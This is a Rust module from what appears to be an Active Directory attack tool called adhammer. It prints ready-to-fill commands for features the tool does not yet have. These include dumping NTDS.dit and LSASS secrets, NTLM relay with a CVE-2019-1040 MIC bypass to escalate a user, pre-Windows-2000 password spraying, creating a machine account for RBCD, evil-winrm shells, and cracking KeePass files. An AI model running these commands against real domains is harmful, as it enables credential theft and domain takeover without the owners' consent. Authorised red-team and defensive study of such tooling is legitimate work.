use std::fmt::Write;
#[derive(Copy, Clone, Debug, PartialEq, Eq)]
pub(crate) enum Gap {
LdapPfxAuth,
LsassMinidump,
KdbxCrack,
NtdsCrack,
TrustDump,
PsExecSealed,
NtlmRelaySocks,
BloodhoundCollect,
TemplateAceEdit,
PfxDecode,
Pre2kSpray,
ExpiredChangepw,
PsrpRunspace,
RelayHttpMic,
CreateComputer,
}
#[derive(Default, Debug, Clone)]
#[allow(dead_code)]
pub(crate) struct HintParams {
pub dc_ip: Option<String>,
pub dc_host: Option<String>,
pub domain: Option<String>,
pub realm: Option<String>,
pub user: Option<String>,
pub target: Option<String>,
pub file: Option<String>,
pub template: Option<String>,
}
impl HintParams {
pub(crate) fn new() -> Self {
Self::default()
}
}
fn slot<'a>(v: &'a Option<String>, placeholder: &'a str) -> &'a str {
v.as_deref().unwrap_or(placeholder)
}
pub(crate) fn hint_external(gap: Gap, params: &HintParams) {
let (rationale, command) = match gap {
Gap::LdapPfxAuth => (
"LDAPS client-cert (schannel) bind not wired — ldap3 does not expose \
a client-cert TLS setter; a workspace TLS-backend switch would be needed.",
format!(
"certipy auth -pfx <file.pfx> -dc-ip {dc}",
dc = slot(¶ms.dc_ip, "<dc-ip>"),
),
),
Gap::LsassMinidump => (
"offline LSASS minidump parse (WDigest/MSV1_0/TSPKG/Kerberos) is not \
implemented — dpapi-offline has the crypto but the LSASS walker is \
per-OS struct-offset work (F5 — deferred).",
format!(
"pypykatz lsa minidump {f}",
f = slot(¶ms.file, "<lsass.dmp>"),
),
),
Gap::KdbxCrack => (
"KDBX (KeePass) crack is out of scope — not an AD/Windows-native \
attack surface; belongs in hashcat/john.",
format!(
"keepass2john {f} > kdbx.hash && hashcat -m 13400 kdbx.hash <wordlist>",
f = slot(¶ms.file, "<file.kdbx>"),
),
),
Gap::NtdsCrack => (
"offline NTDS.dit parse (from a backup / vshadow copy) is not wired \
in adhammer — `attack secretsdump` does the drsuapi live path.",
format!(
"impacket-secretsdump -ntds {ntds} -system <SYSTEM.hive> LOCAL",
ntds = slot(¶ms.file, "<ntds.dit>"),
),
),
Gap::TrustDump => (
"LSA policy secret dump (G$$<trust-domain> cross-realm trust key) \
blocked on ms-lsad v0.3 (`LsarRetrievePrivateData`) — F3 deferred.",
format!(
"impacket-lsadump -target-ip {dc} {dom}/{u}",
dc = slot(¶ms.dc_ip, "<dc-ip>"),
dom = slot(¶ms.domain, "<DOMAIN>"),
u = slot(¶ms.user, "<user>"),
),
),
Gap::PsExecSealed => (
"sealed-RPC psexec/svcctl was cut in 1.4.8 (STATUS_PIPE_BUSY, needs a \
Windows-native Wireshark reference to close).",
format!(
"impacket-psexec {dom}/{u}@{host}",
dom = slot(¶ms.domain, "<DOMAIN>"),
u = slot(¶ms.user, "<user>"),
host = slot(¶ms.dc_host, "<target-host>"),
),
),
Gap::NtlmRelaySocks => (
"NTLM-relay with a SOCKS listener isn't in `attack relay` yet — pipe \
coerced auth to impacket's proxy.",
"impacket-ntlmrelayx -tf targets.txt -smb2support --socks".to_string(),
),
Gap::BloodhoundCollect => (
"live BloodHound-CE collector is a separate project — adhammer emits \
an ingest-compatible ZIP from `scan --out <path>.zip`, but the live \
collector loop belongs in rusthound-ce / SharpHound.",
format!(
"rusthound-ce -d {dom} -u {u} -p '<password>' -c All",
dom = slot(¶ms.domain, "<domain.local>"),
u = slot(¶ms.user, "<user>"),
),
),
Gap::TemplateAceEdit => (
"granting Enroll on a certificate template via LDAP DACL write \
isn't wired — F2's `--enrollee` prints this hint (flags alone are \
usually enough when the template is already broadly enrollable).",
format!(
"certipy template -template {tpl} -write-default-configuration",
tpl = slot(¶ms.template, "<TemplateName>"),
),
),
Gap::PfxDecode => (
"adhammer takes `--key <pem>` + `--cert <path>`, not `.pfx` — \
extract with openssl (native `--pfx` support is task #15).",
format!(
"openssl pkcs12 -in {f} -nocerts -nodes -out x.key.pem && \
openssl pkcs12 -in {f} -clcerts -nokeys -out x.crt",
f = slot(¶ms.file, "<file.pfx>"),
),
),
Gap::Pre2kSpray => (
"no dedicated Pre-Win2000 spray verb yet — `attack pre2k` lands \
in 1.5.2. Today: pass an account list to the external tool.",
format!(
"nxc smb {dc} --pre2k -u accounts.txt -p accounts.txt",
dc = slot(¶ms.dc_ip, "<dc-ip>"),
),
),
Gap::ExpiredChangepw => (
"SAMR ChangePassword2 (change an expired / pre-created account's \
password without a prior session) has no CLI verb yet — \
`attack changepasswd` lands in 1.5.2.",
format!(
"impacket-changepasswd {dom}/{u}@{dc} -newpass '<new>'",
dom = slot(¶ms.domain, "<DOMAIN>"),
u = slot(¶ms.user, "<user>"),
dc = slot(¶ms.dc_ip, "<dc-ip>"),
),
),
Gap::PsrpRunspace => (
"`attack winrm --shell powershell` wraps single commands only; \
Server 2019+ needs the full MS-PSRP runspace protocol (~500 LOC \
follow-up, 1.6). Today: use the specialist shell.",
format!(
"evil-winrm -i {host} -u {u} -p '<password>'",
host = slot(¶ms.dc_host, "<target>"),
u = slot(¶ms.user, "<user>"),
),
),
Gap::RelayHttpMic => (
"`attack relay` is SMB-listener today; HTTP listener + CVE-2019-1040 \
MIC bypass + auto-RBCD escalate lands in 1.5.2 (P0). Today: use \
the specialist relay proxy.",
format!(
"impacket-ntlmrelayx -t ldaps://{dc} --http-port 80 \
--remove-mic --escalate-user <sam> -smb2support",
dc = slot(¶ms.dc_host, "<dc>"),
),
),
Gap::CreateComputer => (
"creating a computer account via MachineAccountQuota (RBCD trustee \
bootstrap) has no CLI verb yet — `attack abuse --create-computer` \
lands in 1.5.2.",
format!(
"impacket-addcomputer -computer-name '<NAME>$' \
-computer-pass '<pw>' -dc-ip {dc} {dom}/{u}:'<password>'",
dc = slot(¶ms.dc_ip, "<dc-ip>"),
dom = slot(¶ms.domain, "<DOMAIN>"),
u = slot(¶ms.user, "<user>"),
),
),
};
let anchor = docs_anchor(gap);
eprintln!("[hint] this step is a known adhammer gap: {rationale}");
eprintln!("[hint] external tool: {command}");
eprintln!("[hint] see docs/GAPS.md#{anchor} for the full table");
}
fn docs_anchor(gap: Gap) -> &'static str {
match gap {
Gap::LdapPfxAuth => "f1b-ldap-pfx-auth",
Gap::LsassMinidump => "f5-lsass-minidump",
Gap::KdbxCrack => "kdbx-crack",
Gap::NtdsCrack => "ntds-dit-offline",
Gap::TrustDump => "f3-trust-dump",
Gap::PsExecSealed => "psexec-sealed",
Gap::NtlmRelaySocks => "ntlm-relay-socks",
Gap::BloodhoundCollect => "bloodhound-collect",
Gap::TemplateAceEdit => "template-ace-edit",
Gap::PfxDecode => "pfx-decode",
Gap::Pre2kSpray => "pre2k-spray",
Gap::ExpiredChangepw => "expired-changepw",
Gap::PsrpRunspace => "psrp-runspace",
Gap::RelayHttpMic => "relay-http-mic",
Gap::CreateComputer => "create-computer",
}
}
pub(crate) fn print_gaps_table() {
let rows: [(Gap, &str); 15] = [
(Gap::LdapPfxAuth, "LDAPS client-cert bind"),
(Gap::LsassMinidump, "offline LSASS parse"),
(Gap::KdbxCrack, "KDBX / KeePass crack"),
(Gap::NtdsCrack, "offline NTDS.dit crack"),
(Gap::TrustDump, "LSA trust-key dump (F3)"),
(Gap::PsExecSealed, "sealed psexec / svcctl"),
(Gap::NtlmRelaySocks, "NTLM relay + SOCKS"),
(Gap::BloodhoundCollect, "BloodHound live collect"),
(Gap::TemplateAceEdit, "cert-template ACE grant"),
(Gap::PfxDecode, "PFX → PEM+CRT"),
(Gap::Pre2kSpray, "Pre-Win2000 mass spray"),
(Gap::ExpiredChangepw, "SAMR ChangePassword2"),
(Gap::PsrpRunspace, "full PSRP runspace shell"),
(Gap::RelayHttpMic, "HTTP relay + CVE-2019-1040"),
(Gap::CreateComputer, "create computer (MAQ)"),
];
let mut w = String::new();
let _ = writeln!(w, "known gaps → external tool (docs/GAPS.md):");
for (g, label) in rows {
let _ = writeln!(w, " · {label:<32} see #{}", docs_anchor(g));
}
print!("{w}");
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn every_gap_has_an_anchor() {
for g in [
Gap::LdapPfxAuth,
Gap::LsassMinidump,
Gap::KdbxCrack,
Gap::NtdsCrack,
Gap::TrustDump,
Gap::PsExecSealed,
Gap::NtlmRelaySocks,
Gap::BloodhoundCollect,
Gap::TemplateAceEdit,
Gap::PfxDecode,
Gap::Pre2kSpray,
Gap::ExpiredChangepw,
Gap::PsrpRunspace,
Gap::RelayHttpMic,
Gap::CreateComputer,
] {
assert!(!docs_anchor(g).is_empty(), "anchor missing for {g:?}");
}
}
#[test]
fn slot_falls_back_to_placeholder() {
let none: Option<String> = None;
let some = Some("real".to_string());
assert_eq!(slot(&none, "<x>"), "<x>");
assert_eq!(slot(&some, "<x>"), "real");
}
}